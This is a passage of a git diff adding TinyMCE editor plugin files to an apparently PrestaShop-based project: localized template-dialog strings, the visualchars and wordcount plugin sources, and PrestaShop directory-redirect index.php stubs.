Aktualiz\u00e1cia \u0161abl\u00f3ny inou, sp\u00f4sob\u00ed stratu d\u00e1t.","mdate_format":"%d.%m.%Y %H:%M:%S","cdate_format":"%d.%m.%Y %H:%M:%S","months_long":"Janu\u00e1r,Febru\u00e1r,Marec,Apr\u00edl,M\u00e1j,J\u00fan,J\u00fal,August,September,Okt\u00f3ber,November,December","months_short":"Jan,Feb,Mar,Apr,M\u00e1j,J\u00fan,J\u00fal,Aug,Sep,Okt,Nov,Dec","day_long":"Nede\u013ea,Pondelok,Utorok,Streda,\u0160tvrtok,Piatok,Sobota,Nede\u013ea","day_short":"Ne,Po,Ut,St,\u0160t,Pi,So,Ne"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/template/langs/sl_dlg.js b/js/tiny_mce2/plugins/template/langs/sl_dlg.js new file mode 100755 index 0000000..8c08beb --- /dev/null +++ b/js/tiny_mce2/plugins/template/langs/sl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('sl.template_dlg',{title:"Predloge",label:"Predloga","desc_label":"Opis",desc:"Vstavi pripravljeno vsebino predloge",select:"Izberite predlogo",preview:"Predogled",warning:"Opozorilo: posodabljanje predloge lahko pripelje od izgube podatkov.","mdate_format":"%Y-%m-%d %H:%M:%S","cdate_format":"%Y-%m-%d %H:%M:%S","months_long":"januar,februar,marec,april,maj,junij,julij,avgust,september,oktober,november,december","months_short":"jan,feb,mar,apr,maj,jun,jul,avg,sep,okt,nov,dec","day_long":"nedelja,ponedeljek,torek,sreda,\u010detrtek,petek,sobota,nedelja","day_short":"ned,pon,tor,sre,\u010det,pet,sob,ned"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/template/langs/sv_dlg.js b/js/tiny_mce2/plugins/template/langs/sv_dlg.js new file mode 100755 index 0000000..add47e8 --- /dev/null +++ b/js/tiny_mce2/plugins/template/langs/sv_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('sv.template_dlg',{title:"Mallar",label:"Mall","desc_label":"Beskrivning",desc:"Infoga en f\u00e4rdig mall",select:"V\u00e4lj en mall",preview:"F\u00f6rhandsgranska",warning:"Varning: Uppdaterar en mall med en ny kan inneb\u00e4ra att data f\u00f6rsvinner.","mdate_format":"%Y-%m-%d %H:%M:%S","cdate_format":"%Y-%m-%d %H:%M:%S","months_long":"Januari,Februari,Mars,April,Maj,Juni,Juli,Augusti,September,Oktober,November,December","months_short":"Jan,Feb,Mar,Apr,Maj,Jun,Jul,Aug,Sep,Okt,Nov,Dec","day_long":"S\u00f6ndag,M\u00e5ndag,Tisdag,Onsdag,Torsdag,Fredag,L\u00f6rdag,S\u00f6ndag","day_short":"S\u00f6n,M\u00e5n,Tis,Ons,Tors,Fre,L\u00f6r,S\u00f6n"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/template/langs/th_dlg.js b/js/tiny_mce2/plugins/template/langs/th_dlg.js new file mode 100755 index 0000000..97ce1d0 --- /dev/null +++ b/js/tiny_mce2/plugins/template/langs/th_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('th.template_dlg',{title:"\u0e41\u0e21\u0e48\u0e41\u0e1a\u0e1a\u0e40\u0e2d\u0e01\u0e2a\u0e32\u0e23",label:"\u0e41\u0e21\u0e48\u0e41\u0e1a\u0e1a\u0e40\u0e2d\u0e01\u0e2a\u0e32\u0e23","desc_label":"\u0e23\u0e32\u0e22\u0e25\u0e30\u0e40\u0e2d\u0e35\u0e22\u0e14",desc:"\u0e40\u0e1e\u0e34\u0e48\u0e21\u0e41\u0e21\u0e48\u0e41\u0e1a\u0e1a\u0e40\u0e2d\u0e01\u0e2a\u0e32",select:"\u0e40\u0e25\u0e37\u0e2d\u0e01\u0e41\u0e21\u0e48\u0e41\u0e1a\u0e1a\u0e40\u0e2d\u0e01\u0e2a\u0e32\u0e23",preview:"\u0e14\u0e39\u0e15\u0e31\u0e27\u0e2d\u0e22\u0e48\u0e32\u0e07",warning:"\u0e04\u0e33\u0e40\u0e15\u0e37\u0e2d\u0e19: \u0e01\u0e32\u0e23\u0e1b\u0e23\u0e31\u0e1a\u0e1b\u0e23\u0e38\u0e07\u0e41\u0e21\u0e48\u0e41\u0e1a\u0e1a\u0e40\u0e2d\u0e01\u0e2a\u0e32\u0e23\u0e17\u0e35\u0e48\u0e41\u0e15\u0e01\u0e15\u0e48\u0e32\u0e07\u0e01\u0e31\u0e19\u0e2b\u0e19\u0e36\u0e48\u0e07\u0e2d\u0e32\u0e08\u0e17\u0e33\u0e43\u0e2b\u0e49\u0e02\u0e49\u0e2d\u0e21\u0e39\u0e25\u0e2a\u0e39\u0e0d\u0e2b\u0e32\u0e22","mdate_format":"%Y-%m-%d %H:%M:%S","cdate_format":"%Y-%m-%d %H:%M:%S","months_long":"\u0e21\u0e01\u0e23\u0e32\u0e04\u0e21,\u0e01\u0e38\u0e21\u0e20\u0e32\u0e1e\u0e31\u0e19\u0e18\u0e4c,\u0e21\u0e35\u0e19\u0e32\u0e04\u0e21,\u0e40\u0e21\u0e29\u0e32\u0e22\u0e19,\u0e1e\u0e24\u0e29\u0e20\u0e32\u0e04\u0e21,\u0e21\u0e34\u0e16\u0e38\u0e19\u0e32\u0e22\u0e19,\u0e01\u0e23\u0e01\u0e0e\u0e32\u0e04\u0e21,\u0e2a\u0e34\u0e07\u0e2b\u0e32\u0e04\u0e21,\u0e01\u0e31\u0e19\u0e22\u0e32\u0e22\u0e19,\u0e15\u0e38\u0e25\u0e32\u0e04\u0e21,\u0e1e\u0e24\u0e28\u0e08\u0e34\u0e01\u0e32\u0e22\u0e19,\u0e18\u0e31\u0e19\u0e27\u0e32\u0e04\u0e21","months_short":"\u0e21.\u0e04.,\u0e01.\u0e1e.,\u0e21\u0e35.\u0e04.,\u0e40\u0e21.\u0e22.,\u0e1e.\u0e04.,\u0e21\u0e34.\u0e22.,\u0e01.\u0e04.,\u0e2a.\u0e04.,\u0e01.\u0e22.,\u0e15.\u0e04.,\u0e1e.\u0e22.,\u0e18.\u0e04.","day_long":"\u0e27\u0e31\u0e19\u0e2d\u0e32\u0e17\u0e34\u0e15\u0e22\u0e4c,\u0e27\u0e31\u0e19\u0e08\u0e31\u0e19\u0e17\u0e23\u0e4c,\u0e27\u0e31\u0e19\u0e2d\u0e31\u0e07\u0e04\u0e32\u0e23,\u0e27\u0e31\u0e19\u0e1e\u0e38\u0e18,\u0e27\u0e31\u0e19\u0e1e\u0e24\u0e2b\u0e31\u0e2a\u0e1a\u0e14\u0e35,\u0e27\u0e31\u0e19\u0e28\u0e38\u0e01\u0e23\u0e4c,\u0e27\u0e31\u0e19\u0e40\u0e2a\u0e32\u0e23\u0e4c,\u0e2d\u0e32\u0e17\u0e34\u0e15\u0e22\u0e4c","day_short":"\u0e2d\u0e32,\u0e08,\u0e2d,\u0e1e,\u0e1e\u0e24,\u0e28,\u0e2a,\u0e2d\u0e32"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/template/langs/tr_dlg.js b/js/tiny_mce2/plugins/template/langs/tr_dlg.js new file mode 100755 index 0000000..dfa9f2d --- /dev/null +++ b/js/tiny_mce2/plugins/template/langs/tr_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('tr.template_dlg',{title:"\u015eablonlar",label:"\u015eablon","desc_label":"A\u00e7\u0131klama",desc:"\u00d6ntan\u0131ml\u0131 i\u00e7erik \u015fablonu kullan",select:"\u015eablonu se\u00e7",preview:"\u00d6nizleme",warning:"Uyar\u0131: Bir \u015fablonu bir di\u011feriyle g\u00fcncellemek veri kayb\u0131na yol a\u00e7abilir.","mdate_format":"%d-%m-%Y %H:%M:%S","cdate_format":"%d-%m-%Y %H:%M:%S","months_long":"Ocak,\u015eubat,Mart,Nisan,May\u0131s,Haziran,Temmuz,A\u011fustos,Eyl\u00fcl,Ekim,Kas\u0131m,Aral\u0131k","months_short":"Oca,\u015eub,Mar,Nis,May,Haz,Tem,A\u011fu,Eyl,Eki,Kas,Ara","day_long":"Pazar,Pazartesi,Sal\u0131,\u00c7ar\u015famba,Per\u015fembe,Cuma,Cumartesi","day_short":"Paz,Pzt,Sal,\u00c7r\u015f,Per,Cum,Cts"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/template/langs/tw_dlg.js b/js/tiny_mce2/plugins/template/langs/tw_dlg.js new file mode 100755 index 0000000..30b7762 --- /dev/null +++ b/js/tiny_mce2/plugins/template/langs/tw_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('tw.template_dlg',{title:"\u6a21\u677f\u6a19\u984c",label:"\u6a21\u677f","desc_label":"\u8aaa\u660e",desc:"\u63d2\u5165\u9810\u8a2d\u6a21\u677f",select:"\u9078\u64c7\u6a21\u677f",preview:"\u9810\u89bd",warning:"\u8b66\u544a:\u5957\u7528\u4e0d\u540c\u7684\u6a21\u677f\u6709\u53ef\u80fd\u5c0e\u81f4\u5167\u5bb9\u907a\u5931\u3002","mdate_format":"%Y-%m-%d %H:%M:%S","cdate_format":"%Y-%m-%d %H:%M:%S","months_long":"\u4e00\u6708,\u4e8c\u6708,\u4e09\u6708,\u56db\u6708,\u4e94\u6708,\u516d\u6708,\u4e03\u6708,\u516b\u6708,\u4e5d\u6708,\u5341\u6708,\u5341\u4e00\u6708,\u5341\u4e8c\u6708","months_short":"1\u6708,2\u6708,3\u6708,4\u6708,5\u6708,6\u6708,7\u6708,8\u6708,9\u6708,10\u6708,11\u6708,12\u6708","day_long":"\u661f\u671f\u65e5,\u661f\u671f\u4e00,\u661f\u671f\u4e8c,\u661f\u671f\u4e09,\u661f\u671f\u56db,\u661f\u671f\u4e94,\u661f\u671f\u516d,\u661f\u671f\u65e5","day_short":"\u9031\u65e5,\u9031\u4e00,\u9031\u4e8c,\u9031\u4e09,\u9031\u56db,\u9031\u4e94,\u9031\u516d,\u9031\u65e5"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/template/langs/uk_dlg.js b/js/tiny_mce2/plugins/template/langs/uk_dlg.js new file mode 100755 index 0000000..a457122 --- /dev/null +++ b/js/tiny_mce2/plugins/template/langs/uk_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('uk.template_dlg',{title:"\u0428\u0430\u0431\u043b\u043e\u043d\u0438",label:"\u0428\u0430\u0431\u043b\u043e\u043d","desc_label":"\u041e\u043f\u0438\u0441",desc:"\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438 \u0448\u0430\u0431\u043b\u043e\u043d\u043d\u0438\u0439 \u043a\u043e\u043d\u0442\u0435\u043d\u0442",select:"\u0412\u0438\u0431\u0435\u0440\u0456\u0442\u044c \u0448\u0430\u0431\u043b\u043e\u043d",preview:"\u041f\u0435\u0440\u0435\u0433\u043b\u044f\u0434",warning:"\u0423\u0432\u0430\u0433\u0430: \u043e\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044f \u0448\u0430\u0431\u043b\u043e\u043d\u0430 \u043d\u0430 \u0456\u043d\u0448\u0438\u0439 \u043c\u043e\u0436\u0435 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u0434\u043e \u0432\u0442\u0440\u0430\u0442 \u0434\u0430\u043d\u0438\u0445.","mdate_format":"%Y-%m-%d %H:%M:%S","cdate_format":"%Y-%m-%d %H:%M:%S","months_long":"\u0421\u0456\u0447\u0435\u043d\u044c,\u041b\u044e\u0442\u0438\u0439,\u0411\u0435\u0440\u0435\u0437\u0435\u043d\u044c,\u041a\u0432\u0456\u0442\u0435\u043d\u044c,\u0422\u0440\u0430\u0432\u0435\u043d\u044c,\u0427\u0435\u0440\u0432\u0435\u043d\u044c,\u041b\u0438\u043f\u0435\u043d\u044c,\u0421\u0435\u0440\u043f\u0435\u043d\u044c,\u0412\u0435\u0440\u0435\u0441\u0435\u043d\u044c,\u0416\u043e\u0432\u0442\u0435\u043d\u044c,\u041b\u0438\u0441\u0442\u043e\u043f\u0430\u0434,\u0413\u0440\u0443\u0434\u0435\u043d\u044c","months_short":"\u0421\u0456\u0447,\u041b\u044e\u0442,\u0411\u0435\u0440,\u041a\u0432\u0456,\u0422\u0440\u0430,\u0427\u0435\u0440,\u041b\u0438\u043f,\u0421\u0435\u0440,\u0412\u0435\u0440,\u0416\u043e\u0432,\u041b\u0438\u0441,\u0413\u0440\u0443","day_long":"\u041d\u0435\u0434\u0456\u043b\u044f,\u041f\u043e\u043d\u0435\u0434\u0456\u043b\u043e\u043a,\u0412\u0456\u0432\u0442\u043e\u0440\u043e\u043a,\u0421\u0435\u0440\u0435\u0434\u0430,\u0427\u0435\u0442\u0432\u0435\u0440,\u041f\'\u044f\u0442\u043d\u0438\u0446\u044f,\u0421\u0443\u0431\u043e\u0442\u0430,\u041d\u0435\u0434\u0456\u043b\u044f","day_short":"\u041d\u0434,\u041f\u043d,\u0412\u0442,\u0421\u0440,\u0427\u0442,\u041f\u0442,\u0421\u0431,\u041d\u0434"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/template/langs/vi_dlg.js b/js/tiny_mce2/plugins/template/langs/vi_dlg.js new file mode 100755 index 0000000..1c19bec --- /dev/null +++ b/js/tiny_mce2/plugins/template/langs/vi_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('vi.template_dlg',{title:"M\u1eabu",label:"M\u1eabu","desc_label":"M\u00f4 t\u1ea3",desc:"Ch\u00e8n m\u1ed9t n\u1ed9i dung m\u1eabu \u0111\u1ecbnh ngh\u0129a tr\u01b0\u1edbc",select:"Ch\u1ecdn m\u1ed9t m\u1eabu",preview:"Xem tr\u01b0\u1edbc",warning:"C\u1ea3nh b\u00e1o: C\u1eadp nh\u1eadt m\u1ed9t m\u1eabu v\u1edbi m\u1ed9t s\u1ef1 sai kh\u00e1c c\u00f3 th\u1ec3 l\u00e0m m\u1ea5t d\u1eef li\u1ec7u.","mdate_format":"%Y-%m-%d %H:%M:%S","cdate_format":"%Y-%m-%d %H:%M:%S","months_long":"Th\u00e1ng M\u1ed9t,Th\u00e1ng Hai,Th\u00e1ng Ba,Th\u00e1ng T\u01b0,Th\u00e1ng N\u0103m,Th\u00e1ng S\u00e1u,Th\u00e1ng B\u1ea3y,Th\u00e1ng T\u00e1m,Th\u00e1ng Ch\u00edn,Th\u00e1ng M\u01b0\u1eddi,Th\u00e1ng M\u01b0\u1eddi M\u1ed9t,Th\u00e1ng M\u01b0\u1eddi Hai","months_short":"Thg1,Thg2,Thg3,Thg4,Thg5,Thg6,Thg7,Thg8,Thg9,Th10,Th11,Th12","day_long":"Ch\u1ee7 Nh\u1eadt,Th\u1ee9 Hai,Th\u1ee9 Ba,Th\u1ee9 T\u01b0,Th\u1ee9 N\u0103m,Th\u1ee9 S\u00e1u,Th\u1ee9 B\u1ea3y,Ch\u1ee7 Nh\u1eadt","day_short":"CN,T2,T3,T4,T5,T6,T7,CN"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/template/langs/zh-cn_dlg.js b/js/tiny_mce2/plugins/template/langs/zh-cn_dlg.js new file mode 100755 index 0000000..a6217b9 --- /dev/null +++ b/js/tiny_mce2/plugins/template/langs/zh-cn_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('zh-cn.template_dlg',{title:"\u6a21\u677f",label:"\u6a21\u677f","desc_label":"\u8bf4\u660e",desc:"\u63d2\u5165\u9884\u8bbe\u7684\u6a21\u677f\u5185\u5bb9",select:"\u9009\u62e9\u6a21\u677f",preview:"\u9884\u89c8",warning:"\u8b66\u544a\uff1a\u66f4\u65b0\u6a21\u677f\u53ef\u80fd\u5bfc\u81f4\u6570\u636e\u4e22\u5931\u3002","mdate_format":"%Y-%m-%d %H:%M:%S","cdate_format":"%Y-%m-%d %H:%M:%S","months_long":"\u4e00\u6708,\u4e8c\u6708,\u4e09\u6708,\u56db\u6708,\u4e94\u6708,\u516d\u6708,\u4e03\u6708,\u516b\u6708,\u4e5d\u6708,\u5341\u6708,\u5341\u4e00\u6708,\u5341\u4e8c\u6708","months_short":"1\u6708,2\u6708,3\u6708,4\u6708,5\u6708,6\u6708,7\u6708,8\u6708,9\u6708,10\u6708,11\u6708,12\u6708","day_long":"\u661f\u671f\u65e5,\u661f\u671f\u4e00,\u661f\u671f\u4e8c,\u661f\u671f\u4e09,\u661f\u671f\u56db,\u661f\u671f\u4e94,\u661f\u671f\u516d,\u661f\u671f\u65e5","day_short":"\u5468\u65e5,\u5468\u4e00,\u5468\u4e8c,\u5468\u4e09,\u5468\u56db,\u5468\u4e94,\u5468\u516d,\u5468\u65e5"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/template/langs/zh-tw_dlg.js b/js/tiny_mce2/plugins/template/langs/zh-tw_dlg.js new file mode 100755 index 0000000..e86dd3d --- /dev/null +++ b/js/tiny_mce2/plugins/template/langs/zh-tw_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('zh-tw.template_dlg',{title:"\u7248\u578b",label:"\u7248\u578b","desc_label":"\u8a3b\u89e3",desc:"\u5957\u7248\u7248\u578b\u7684\u5167\u5bb9",select:"\u9078\u4e00\u500b\u7248\u578b",preview:"\u9810\u89bd",warning:"\u66f4\u65b0\u7248\u578b\u53ef\u80fd\u6703\u628a\u4e4b\u524d\u7684\u8cc7\u6599\u5f04\u4e0d\u898b\u5594\uff01","mdate_format":"%Y-%m-%d %H:%M:%S","cdate_format":"%Y-%m-%d %H:%M:%S","months_long":"\u4e00\u6708,\u4e8c\u6708,\u4e09\u6708,\u56db\u6708,\u4e94\u6708,\u516d\u6708,\u4e03\u6708,\u516b\u6708,\u4e5d\u6708,\u5341\u6708,\u5341\u4e00\u6708,\u5341\u4e8c\u6708","months_short":"\u4e00\u6708,\u4e8c\u6708,\u4e09\u6708,\u56db\u6708,\u4e94\u6708,\u516d\u6708,\u4e03\u6708,\u516b\u6708,\u4e5d\u6708,\u5341\u6708,\u5341\u4e00\u6708,\u5341\u4e8c\u6708","day_long":"\u661f\u671f\u4e00,\u661f\u671f\u4e8c,\u661f\u671f\u4e09,\u661f\u671f\u56db,\u661f\u671f\u4e94,\u661f\u671f\u516d,\u661f\u671f\u65e5","day_short":"\u9031\u4e00,\u9031\u4e8c,\u9031\u4e09,\u9031\u56db,\u9031\u4e94,\u9031\u516d,\u9031\u65e5"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/template/template.htm b/js/tiny_mce2/plugins/template/template.htm new file mode 100755 index 0000000..59b7cdc --- /dev/null +++ b/js/tiny_mce2/plugins/template/template.htm @@ -0,0 +1,31 @@ + + + {#template_dlg.title} + + + + + +
    +
    +
    {#template_dlg.desc}
    +
    + +
    +
    +
    +
    + {#template_dlg.preview} + +
    +
    + +
    + + +
    +
    + + diff --git a/js/tiny_mce2/plugins/visualchars/editor_plugin.js b/js/tiny_mce2/plugins/visualchars/editor_plugin.js new file mode 100755 index 0000000..1a148e8 --- /dev/null +++ b/js/tiny_mce2/plugins/visualchars/editor_plugin.js @@ -0,0 +1 @@ +(function(){tinymce.create("tinymce.plugins.VisualChars",{init:function(a,b){var c=this;c.editor=a;a.addCommand("mceVisualChars",c._toggleVisualChars,c);a.addButton("visualchars",{title:"visualchars.desc",cmd:"mceVisualChars"});a.onBeforeGetContent.add(function(d,e){if(c.state&&e.format!="raw"&&!e.draft){c.state=true;c._toggleVisualChars(false)}})},getInfo:function(){return{longname:"Visual characters",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/visualchars",version:tinymce.majorVersion+"."+tinymce.minorVersion}},_toggleVisualChars:function(m){var p=this,k=p.editor,a,g,j,n=k.getDoc(),o=k.getBody(),l,q=k.selection,e,c,f;p.state=!p.state;k.controlManager.setActive("visualchars",p.state);if(m){f=q.getBookmark()}if(p.state){a=[];tinymce.walk(o,function(b){if(b.nodeType==3&&b.nodeValue&&b.nodeValue.indexOf("\u00a0")!=-1){a.push(b)}},"childNodes");for(g=0;g$1');c=k.dom.create("div",null,l);while(node=c.lastChild){k.dom.insertAfter(node,a[g])}k.dom.remove(a[g])}}else{a=k.dom.select("span.mceItemNbsp",o);for(g=a.length-1;g>=0;g--){k.dom.remove(a[g],1)}}q.moveToBookmark(f)}});tinymce.PluginManager.add("visualchars",tinymce.plugins.VisualChars)})(); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/visualchars/editor_plugin_src.js b/js/tiny_mce2/plugins/visualchars/editor_plugin_src.js new file mode 100755 index 0000000..0e3572e --- /dev/null +++ b/js/tiny_mce2/plugins/visualchars/editor_plugin_src.js @@ -0,0 +1,83 @@ +/** + * editor_plugin_src.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +(function() { + tinymce.create('tinymce.plugins.VisualChars', { + init : function(ed, url) { + var t = this; + + t.editor = ed; + + // Register commands + ed.addCommand('mceVisualChars', t._toggleVisualChars, t); + + // Register buttons + ed.addButton('visualchars', {title : 'visualchars.desc', cmd : 'mceVisualChars'}); + + ed.onBeforeGetContent.add(function(ed, o) { + if (t.state && o.format != 'raw' && !o.draft) { + t.state = true; + t._toggleVisualChars(false); + } + }); + }, + + getInfo : function() { + return { + longname : 'Visual characters', + author : 'Moxiecode Systems AB', + authorurl : 'http://tinymce.moxiecode.com', + infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/visualchars', + version : tinymce.majorVersion + "." + tinymce.minorVersion + }; + }, + + // Private methods + + _toggleVisualChars : function(bookmark) { + var t = this, ed = t.editor, nl, i, h, d = ed.getDoc(), b = ed.getBody(), nv, s = ed.selection, bo, div, bm; + + t.state = !t.state; + ed.controlManager.setActive('visualchars', t.state); + + if (bookmark) + bm = s.getBookmark(); + + if (t.state) { + nl = []; + tinymce.walk(b, function(n) { + if (n.nodeType == 3 && n.nodeValue && n.nodeValue.indexOf('\u00a0') != -1) + nl.push(n); + }, 'childNodes'); + + for (i = 0; i < nl.length; i++) { + nv = nl[i].nodeValue; + nv = nv.replace(/(\u00a0)/g, '$1'); + + div = ed.dom.create('div', null, nv); + while (node = div.lastChild) + ed.dom.insertAfter(node, nl[i]); + + ed.dom.remove(nl[i]); + } + } else { + nl = ed.dom.select('span.mceItemNbsp', b); + + for (i = nl.length - 1; i >= 0; i--) + ed.dom.remove(nl[i], 1); + } + + s.moveToBookmark(bm); + } + }); + + // Register plugin + tinymce.PluginManager.add('visualchars', tinymce.plugins.VisualChars); +})(); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/visualchars/index.php b/js/tiny_mce2/plugins/visualchars/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce2/plugins/visualchars/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce2/plugins/wordcount/editor_plugin.js b/js/tiny_mce2/plugins/wordcount/editor_plugin.js new file mode 100755 index 0000000..42ece20 --- /dev/null +++ b/js/tiny_mce2/plugins/wordcount/editor_plugin.js @@ -0,0 +1 @@ +(function(){tinymce.create("tinymce.plugins.WordCount",{block:0,id:null,countre:null,cleanre:null,init:function(c,d){var e=this,f=0,g=tinymce.VK;e.countre=c.getParam("wordcount_countregex",/[\w\u2019\'-]+/g);e.cleanre=c.getParam("wordcount_cleanregex",/[0-9.(),;:!?%#$?\'\"_+=\\\/-]*/g);e.update_rate=c.getParam("wordcount_update_rate",2000);e.update_on_delete=c.getParam("wordcount_update_on_delete",false);e.id=c.id+"-word-count";c.onPostRender.add(function(i,h){var j,k;k=i.getParam("wordcount_target_id");if(!k){j=tinymce.DOM.get(i.id+"_path_row");if(j){tinymce.DOM.add(j.parentNode,"div",{style:"float: right"},i.getLang("wordcount.words","Words: ")+'0')}}else{tinymce.DOM.add(k,"span",{},'0')}});c.onInit.add(function(h){h.selection.onSetContent.add(function(){e._count(h)});e._count(h)});c.onSetContent.add(function(h){e._count(h)});function b(h){return h!==f&&(h===g.ENTER||f===g.SPACEBAR||a(f))}function a(h){return h===g.DELETE||h===g.BACKSPACE}c.onKeyUp.add(function(h,i){if(b(i.keyCode)||e.update_on_delete&&a(i.keyCode)){e._count(h)}f=i.keyCode})},_getCount:function(c){var a=0;var b=c.getContent({format:"raw"});if(b){b=b.replace(/\.\.\./g," ");b=b.replace(/<.[^<>]*?>/g," ").replace(/ | /gi," ");b=b.replace(/(\w+)(&.+?;)+(\w+)/,"$1$3").replace(/&.+?;/g," ");b=b.replace(this.cleanre,"");var d=b.match(this.countre);if(d){a=d.length}}return a},_count:function(a){var b=this;if(b.block){return}b.block=1;setTimeout(function(){if(!a.destroyed){var c=b._getCount(a);tinymce.DOM.setHTML(b.id,c.toString());setTimeout(function(){b.block=0},b.update_rate)}},1)},getInfo:function(){return{longname:"Word Count plugin",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/wordcount",version:tinymce.majorVersion+"."+tinymce.minorVersion}}});tinymce.PluginManager.add("wordcount",tinymce.plugins.WordCount)})(); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/wordcount/editor_plugin_src.js b/js/tiny_mce2/plugins/wordcount/editor_plugin_src.js new file mode 100755 index 0000000..3fb8fff --- /dev/null +++ b/js/tiny_mce2/plugins/wordcount/editor_plugin_src.js @@ -0,0 +1,122 @@ +/** + * editor_plugin_src.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +(function() { + tinymce.create('tinymce.plugins.WordCount', { + block : 0, + id : null, + countre : null, + cleanre : null, + + init : function(ed, url) { + var t = this, last = 0, VK = tinymce.VK; + + t.countre = ed.getParam('wordcount_countregex', /[\w\u2019\'-]+/g); // u2019 == ’ + t.cleanre = ed.getParam('wordcount_cleanregex', /[0-9.(),;:!?%#$?\'\"_+=\\\/-]*/g); + t.update_rate = ed.getParam('wordcount_update_rate', 2000); + t.update_on_delete = ed.getParam('wordcount_update_on_delete', false); + t.id = ed.id + '-word-count'; + + ed.onPostRender.add(function(ed, cm) { + var row, id; + + // Add it to the specified id or the theme advanced path + id = ed.getParam('wordcount_target_id'); + if (!id) { + row = tinymce.DOM.get(ed.id + '_path_row'); + + if (row) + tinymce.DOM.add(row.parentNode, 'div', {'style': 'float: right'}, ed.getLang('wordcount.words', 'Words: ') + '0'); + } else { + tinymce.DOM.add(id, 'span', {}, '0'); + } + }); + + ed.onInit.add(function(ed) { + ed.selection.onSetContent.add(function() { + t._count(ed); + }); + + t._count(ed); + }); + + ed.onSetContent.add(function(ed) { + t._count(ed); + }); + + function checkKeys(key) { + return key !== last && (key === VK.ENTER || last === VK.SPACEBAR || checkDelOrBksp(last)); + } + + function checkDelOrBksp(key) { + return key === VK.DELETE || key === VK.BACKSPACE; + } + + ed.onKeyUp.add(function(ed, e) { + if (checkKeys(e.keyCode) || t.update_on_delete && checkDelOrBksp(e.keyCode)) { + t._count(ed); + } + + last = e.keyCode; + }); + }, + + _getCount : function(ed) { + var tc = 0; + var tx = ed.getContent({ format: 'raw' }); + + if (tx) { + tx = tx.replace(/\.\.\./g, ' '); // convert ellipses to spaces + tx = tx.replace(/<.[^<>]*?>/g, ' ').replace(/ | /gi, ' '); // remove html tags and space chars + + // deal with html entities + tx = tx.replace(/(\w+)(&.+?;)+(\w+)/, "$1$3").replace(/&.+?;/g, ' '); + tx = tx.replace(this.cleanre, ''); // remove numbers and punctuation + + var wordArray = tx.match(this.countre); + if (wordArray) { + tc = wordArray.length; + } + } + + return tc; + }, + + _count : function(ed) { + var t = this; + + // Keep multiple calls from happening at the same time + if (t.block) + return; + + t.block = 1; + + setTimeout(function() { + if (!ed.destroyed) { + var tc = t._getCount(ed); + tinymce.DOM.setHTML(t.id, tc.toString()); + setTimeout(function() {t.block = 0;}, t.update_rate); + } + }, 1); + }, + + getInfo: function() { + return { + longname : 'Word Count plugin', + author : 'Moxiecode Systems AB', + authorurl : 'http://tinymce.moxiecode.com', + infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/wordcount', + version : tinymce.majorVersion + "." + tinymce.minorVersion + }; + } + }); + + tinymce.PluginManager.add('wordcount', tinymce.plugins.WordCount); +})(); diff --git a/js/tiny_mce2/plugins/wordcount/index.php b/js/tiny_mce2/plugins/wordcount/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce2/plugins/wordcount/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce2/plugins/xhtmlxtras/abbr.htm b/js/tiny_mce2/plugins/xhtmlxtras/abbr.htm new file mode 100755 index 0000000..d410218 --- /dev/null +++ b/js/tiny_mce2/plugins/xhtmlxtras/abbr.htm @@ -0,0 +1,142 @@ + + + + 